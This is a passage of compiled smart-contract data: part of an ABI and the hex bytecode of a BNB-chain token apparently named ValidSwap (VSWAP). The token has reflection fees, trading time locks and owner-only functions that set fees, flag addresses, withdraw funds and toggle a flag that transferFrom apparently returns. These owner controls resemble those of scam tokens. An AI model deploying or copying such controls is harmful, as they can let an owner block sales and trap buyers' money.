uts":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fifteenMinutesLock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"lockTime","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"lockToBuyOrSellForTime","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellPerSecond","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527330089cb3890952e961901a01b73c4c9c9397d8ff600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507330089cb3890952e961901a01b73c4c9c9397d8ff600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000be919062000a56565b633b9aca00620000cf919062000b93565b600e55600e54600019620000e4919062000c7a565b600019620000f3919062000bf4565b600f55600560105561012c60115560405180608001604052806000815260200160008152602001600081526020016000815250601960008201518160000155602082015181600101556040820151816002015560608201518160030155505060405180608001604052806000815260200160008152602001600081526020016000815250601d6000820151816000015560208201518160010155604082015181600201556060820151816003015550506001602660146101000a81548160ff0219169083151502179055506001602660166101000a81548160ff0219169083151502179055506001602660176101000a81548160ff0219169083151502179055503480156200020157600080fd5b506000620002146200091560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600f5460036000620002c96200091d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036757600080fd5b505afa1580156200037c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a291906200095d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200040557600080fd5b505afa1580156200041a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044091906200095d565b6040518363ffffffff1660e01b81526004016200045f929190620009b1565b602060405180830381600087803b1580156200047a57600080fd5b505af11580156200048f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b591906200095d565b602660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006200054c6200091d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600073e853889c8c7a03c1f7935b87355dc58ecd3d92b073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b309080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008a56200091d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e54604051620009069190620009de565b60405180910390a35062000d3c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620009578162000d22565b92915050565b60006020828403121562000976576200097562000d10565b5b6000620009868482850162000946565b91505092915050565b6200099a8162000c2f565b82525050565b620009ab8162000c63565b82525050565b6000604082019050620009c860008301856200098f565b620009d760208301846200098f565b9392505050565b6000602082019050620009f56000830184620009a0565b92915050565b6000808291508390505b600185111562000a4d5780860481111562000a255762000a2462000cb2565b5b600185161562000a355780820291505b808102905062000a458562000d15565b945062000a05565b94509492505050565b600062000a638262000c63565b915062000a708362000c6d565b925062000a9f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000aa7565b905092915050565b60008262000ab9576001905062000b8c565b8162000ac9576000905062000b8c565b816001811462000ae2576002811462000aed5762000b23565b600191505062000b8c565b60ff84111562000b025762000b0162000cb2565b5b8360020a91508482111562000b1c5762000b1b62000cb2565b5b5062000b8c565b5060208310610133831016604e8410600b841016171562000b5d5782820a90508381111562000b575762000b5662000cb2565b5b62000b8c565b62000b6c8484846001620009fb565b9250905081840481111562000b865762000b8562000cb2565b5b81810290505b9392505050565b600062000ba08262000c63565b915062000bad8362000c63565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000be95762000be862000cb2565b5b828202905092915050565b600062000c018262000c63565b915062000c0e8362000c63565b92508282101562000c245762000c2362000cb2565b5b828203905092915050565b600062000c3c8262000c43565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600062000c878262000c63565b915062000c948362000c63565b92508262000ca75762000ca662000ce1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b62000d2d8162000c2f565b811462000d3957600080fd5b50565b6158308062000d4c6000396000f3fe6080604052600436106103035760003560e01c806370a0823111610190578063a8be9a58116100dc578063dd62ed3e11610095578063ea2f0b371161006f578063ea2f0b3714610c07578063ecbde40c14610c30578063f2fde38b14610c6d578063f921400514610c965761030a565b8063dd62ed3e14610b64578063e2255e2914610ba1578063e7e6451914610bca5761030a565b8063a8be9a5814610a42578063a9059cbb14610a7f578063bc0ad5a314610abc578063c49b9a8014610ae7578063cc5006b314610b10578063cdf6e46714610b3b5761030a565b806383d6b0a2116101495780638da5cb5b116101235780638da5cb5b1461098157806395d89b41146109ac5780639ba5e4d5146109d7578063a457c2d714610a055761030a565b806383d6b0a2146108ef57806388f82020146109185780638b7afe2e146109555761030a565b806370a08231146107eb578063713898cd14610828578063715018a61461085657806373cafdc21461086d578063786564c41461089b57806379fdd832146108c45761030a565b80633685d4191161024f578063437823ec1161020857806351ecfeae116101e257806351ecfeae1461073157806352390c021461075a57806352892884146107835780635342acb4146107ae5761030a565b8063437823ec146106a05780634549b039146106c95780634a74bb02146107065761030a565b80633685d41914610580578063370f0a60146105a957806339509351146105d25780633ccfd60b1461060f578063422ed802146106265780634359a871146106635761030a565b80631f37fd51116102bc5780632d838119116102965780632d838119146104c65780632db0b5ed14610503578063313ce5671461052c578063352cce39146105575761030a565b80631f37fd511461043557806323b872dd14610460578063275d53ce1461049d5761030a565b806306fdde031461030f578063072c73f21461033a578063095ea7b31461036557806316a9de14146103a257806318160ddd146103cd5780631cdd3be3146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610cc1565b6040516103319190614e0d565b60405180910390f35b34801561034657600080fd5b5061034f610cfe565b60405161035c919061500f565b60405180910390f35b34801561037157600080fd5b5061038c6004803603810190610387919061494a565b610d04565b6040516103999190614dd7565b60405180910390f35b3480156103ae57600080fd5b506103b7610d22565b6040516103c49190614dbc565b60405180910390f35b3480156103d957600080fd5b506103e2610d48565b6040516103ef919061500f565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a919061488a565b610d52565b60405161042c9190614dd7565b60405180910390f35b34801561044157600080fd5b5061044a610d72565b604051610457919061500f565b60405180910390f35b34801561046c57600080fd5b50610487600480360381019061048291906148f7565b610d78565b6040516104949190614dd7565b60405180910390f35b3480156104a957600080fd5b506104c460048036038101906104bf91906149d7565b610e5f565b005b3480156104d257600080fd5b506104ed60048036038101906104e89190614a04565b610ef8565b6040516104fa919061500f565b60405180910390f35b34801561050f57600080fd5b5061052a6004803603810190610525919061498a565b610f5f565b005b34801561053857600080fd5b5061054161107e565b60405161054e9190615098565b60405180910390f35b34801561056357600080fd5b5061057e6004803603810190610579919061498a565b611087565b005b34801561058c57600080fd5b506105a760048036038101906105a2919061488a565b6111a8565b005b3480156105b557600080fd5b506105d060048036038101906105cb919061488a565b6114de565b005b3480156105de57600080fd5b506105f960048036038101906105f4919061494a565b6117ab565b6040516106069190614dd7565b60405180910390f35b34801561061b57600080fd5b50610624611857565b005b34801561063257600080fd5b5061064d60048036038101906106489190614a71565b611922565b60405161065a9190614dd7565b60405180910390f35b34801561066f57600080fd5b5061068a6004803603810190610685919061488a565b6119e0565b604051610697919061500f565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c2919061488a565b611a29565b005b3480156106d557600080fd5b506106f060048036038101906106eb9190614a31565b611b00565b6040516106fd919061500f565b60405180910390f35b34801561071257600080fd5b5061071b611b86565b6040516107289190614dd7565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190614ac4565b611b99565b005b34801561076657600080fd5b50610781600480360381019061077c919061488a565b611c43565b005b34801561078f57600080fd5b50610798611ede565b6040516107a59190614dbc565b60405180910390f35b3480156107ba57600080fd5b506107d560048036038101906107d0919061488a565b611f04565b6040516107e29190614dd7565b60405180910390f35b3480156107f757600080fd5b50610812600480360381019061080d919061488a565b611f5a565b60405161081f919061500f565b60405180910390f35b34801561083457600080fd5b5061083d612045565b60405161084d9493929190615053565b60405180910390f35b34801561086257600080fd5b5061086b612063565b005b34801561087957600080fd5b5061088261219d565b6040516108929493929190615053565b60405180910390f35b3480156108a757600080fd5b506108c260048036038101906108bd9190614ac4565b6121bb565b005b3480156108d057600080fd5b506108d9612265565b6040516108e69190614df2565b60405180910390f35b3480156108fb57600080fd5b506109166004803603810190610911919061488a565b61228b565b005b34801561092457600080fd5b5061093f600480360381019061093a919061488a565b612362565b60405161094c9190614dd7565b60405180910390f35b34801561096157600080fd5b5061096a6123b8565b60405161097892919061502a565b60405180910390f35b34801561098d57600080fd5b506109966123ca565b6040516109a39190614dbc565b60405180910390f35b3480156109b857600080fd5b506109c16123f3565b6040516109ce9190614e0d565b60405180910390f35b3480156109e357600080fd5b506109ec612430565b6040516109fc9493929190615053565b60405180910390f35b348015610a1157600080fd5b50610a2c6004803603810190610a27919061494a565b61244e565b604051610a399190614dd7565b60405180910390f35b348015610a4e57600080fd5b50610a696004803603810190610a64919061488a565b61251b565b604051610a76919061500f565b60405180910390f35b348015610a8b57600080fd5b50610aa66004803603810190610aa1919061494a565b612533565b604051610ab39190614dd7565b60405180910390f35b348015610ac857600080fd5b50610ad161255f565b604051610ade9190614dd7565b60405180910390f35b348015610af357600080fd5b50610b0e6004803603810190610b0991906149d7565b612572565b005b348015610b1c57600080fd5b50610b25612642565b604051610b329190614dbc565b60405180910390f35b348015610b4757600080fd5b50610b626004803603810190610b5d9190614a04565b612668565b005b348015610b7057600080fd5b50610b8b6004803603810190610b8691906148b7565b6126ee565b604051610b98919061500f565b60405180910390f35b348015610bad57600080fd5b50610bc86004803603810190610bc391906149d7565b612775565b005b348015610bd657600080fd5b50610bf16004803603810190610bec919061488a565b61280e565b604051610bfe919061500f565b60405180910390f35b348015610c1357600080fd5b50610c2e6004803603810190610c29919061488a565b612857565b005b348015610c3c57600080fd5b50610c576004803603810190610c52919061488a565b61292e565b604051610c64919061500f565b60405180910390f35b348015610c7957600080fd5b50610c946004803603810190610c8f919061488a565b612946565b005b348015610ca257600080fd5b50610cab612aef565b604051610cb89190614dbc565b60405180910390f35b60606040518060400160405280600981526020017f56616c6964537761700000000000000000000000000000000000000000000000815250905090565b60115481565b6000610d18610d11612b15565b8484612b1d565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e54905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b60105481565b6000610d85848484612ce8565b610e4684610d91612b15565b610e41856040518060600160405280602881526020016157ae60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610df7612b15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130829092919063ffffffff16565b612b1d565b602660169054906101000a900460ff1690509392505050565b610e67612b15565b73ffffffffffffffffffffffffffffffffffffffff16610e856123ca565b73ffffffffffffffffffffffffffffffffffffffff1614610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed290614f6f565b60405180910390fd5b80602660166101000a81548160ff02191690831515021790555050565b6000600f54821115610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690614e6f565b60405180910390fd5b6000610f496130d7565b90508083610f579190615125565b915050919050565b610f67612b15565b73ffffffffffffffffffffffffffffffffffffffff16610f856123ca565b73ffffffffffffffffffffffffffffffffffffffff1614610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290614f6f565b60405180910390fd5b60005b82829050811015611079576001600a600085858581811061100257611001615378565b5b9050602002016020810190611017919061488a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611072906152a2565b9050610fde565b505050565b60006009905090565b61108f612b15565b73ffffffffffffffffffffffffffffffffffffffff166110ad6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90614f6f565b60405180910390fd5b60005b828290508110156111a35760016006600085858581811061112a57611129615378565b5b905060200201602081019061113f919061488a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061119b906152a2565b915050611106565b505050565b6111b0612b15565b73ffffffffffffffffffffffffffffffffffffffff166111ce6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90614f6f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a790614f0f565b60405180910390fd5b60005b600b805490508110156114da578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106112eb576112ea615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156114c757600b6001600b8054905061134691906151b0565b8154811061135757611356615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b828154811061139657611395615378565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b80548061148d5761148c615349565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556114da565b80806114d2906152a2565b9150506112b3565b5050565b6114e6612b15565b73ffffffffffffffffffffffffffffffffffffffff166115046123ca565b73ffffffffffffffffffffffffffffffffffffffff161461155a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155190614f6f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661173b576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116d757611693600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117a78160016130fb90919063ffffffff16565b5050565b600061184d6117b8612b15565b8484600560006117c6612b15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184891906150cf565b612b1d565b6001905092915050565b61185f612b15565b73ffffffffffffffffffffffffffffffffffffffff1661187d6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca90614f6f565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561191e573d6000803e3d6000fd5b5050565b60008084141561193557600090506119d9565b6000844261194391906151b0565b90506011548114156119595760019150506119d9565b60008114156119c2578273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c15760009150506119d9565b5b8381116119d35760019150506119d9565b60009150505b9392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611a31612b15565b73ffffffffffffffffffffffffffffffffffffffff16611a4f6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90614f6f565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600e54831115611b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3e90614f2f565b60405180910390fd5b81611b68576000611b5984600161312b565b90508060000151915050611b80565b6000611b7584600161312b565b905080602001519150505b92915050565b602660179054906101000a900460ff1681565b611ba1612b15565b73ffffffffffffffffffffffffffffffffffffffff16611bbf6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c90614f6f565b60405180910390fd5b8360196000018190555082601960010181905550816019600201819055508060196003018190555050505050565b611c4b612b15565b73ffffffffffffffffffffffffffffffffffffffff16611c696123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb690614f6f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4390614ecf565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e2057611ddc600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ff557600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050612040565b61203d600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef8565b90505b919050565b601d8060000154908060010154908060020154908060030154905084565b61206b612b15565b73ffffffffffffffffffffffffffffffffffffffff166120896123ca565b73ffffffffffffffffffffffffffffffffffffffff16146120df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d690614f6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60198060000154908060010154908060020154908060030154905084565b6121c3612b15565b73ffffffffffffffffffffffffffffffffffffffff166121e16123ca565b73ffffffffffffffffffffffffffffffffffffffff1614612237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222e90614f6f565b60405180910390fd5b83601d6000018190555082601d6001018190555081601d6002018190555080601d6003018190555050505050565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612293612b15565b73ffffffffffffffffffffffffffffffffffffffff166122b16123ca565b73ffffffffffffffffffffffffffffffffffffffff1614612307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fe90614f6f565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60178060000154908060010154905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5653574150000000000000000000000000000000000000000000000000000000815250905090565b6013806000015490806